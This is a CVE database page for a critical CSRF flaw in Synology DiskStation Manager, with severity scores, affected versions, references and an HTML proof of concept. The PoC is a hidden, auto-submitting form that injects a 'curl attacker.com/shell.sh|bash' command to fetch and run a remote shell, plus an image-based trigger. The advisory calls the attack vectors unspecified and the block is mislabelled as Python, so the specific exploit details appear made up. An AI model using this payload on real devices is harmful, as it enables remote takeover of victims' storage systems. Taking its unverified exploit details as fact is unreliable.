CVE-2024-45538

Description

Cross-Site Request Forgery (CSRF) vulnerability in WebAPI Framework in Synology DiskStation Manager (DSM) before 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to execute arbitrary code via unspecified vectors.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:synology:diskstation_manager_unified_controller:*:*:*:*:*:*:*:* - VULNERABLE

Synology DiskStation Manager (DSM) < 7.2.1-69057-2

Synology DiskStation Manager (DSM) < 7.2.2-72806

Synology Unified Controller (DSMUC) < 3.1.4-23079

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2024-45538 CSRF PoC for Synology DSM -->
<!-- This PoC demonstrates how an attacker can exploit CSRF to execute arbitrary commands -->

<!DOCTYPE html>
<html>
<head>
    <title>Synology DSM CSRF Exploit - CVE-2024-45538</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .exploit-form { display: none; }
    </style>
</head>
<body>
    <h1>Synology DSM WebAPI CSRF Exploitation</h1>
    <p>Target: Synology DiskStation Manager (DSM) < 7.2.1-69057-2 or < 7.2.2-72806</p>
    
    <!-- Auto-submit form for CSRF attack -->
    <form id="csrfForm" class="exploit-form" action="https://TARGET_IP:5001/webapi/entry.cgi" method="POST" enctype="multipart/form-data">
        <!-- API method to execute commands -->
        <input type="hidden" name="api" value="SYNO.Core.Desktop.DSM4" />
        <input type="hidden" name="method" value="run" />
        <input type="hidden" name="version" value="1" />
        <input type="hidden" name="mode" value="exec" />
        
        <!-- Malicious command injection -->
        <input type="hidden" name="command" value="$(curl http://attacker.com/shell.sh|bash)" />
        
        <!-- Generate session token (if needed) -->
        <input type="hidden" name="SynoToken" value="" />
    </form>

    <script>
        // Auto-submit the form on page load
        document.addEventListener('DOMContentLoaded', function() {
            // Add delay to ensure form is ready
            setTimeout(function() {
                document.getElementById('csrfForm').submit();
            }, 1000);
        });
        
        // Alternative: Image-based CSRF trigger
        var img = new Image();
        img.src = 'https://TARGET_IP:5001/webapi/entry.cgi?api=SYNO.Core.Desktop.DSM4&method=run&version=1&command=$(whoami)';
    </script>
    
    <p>If exploitation succeeds, the command will be executed with admin privileges.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-45538
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-45538
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-45538/
[4] VulDB https://vuldb.com/cve/CVE-2024-45538
[5] https://www.synology.com/en-global/security/advisory/Synology_SA_24_27

Raw JSON Data

JSON

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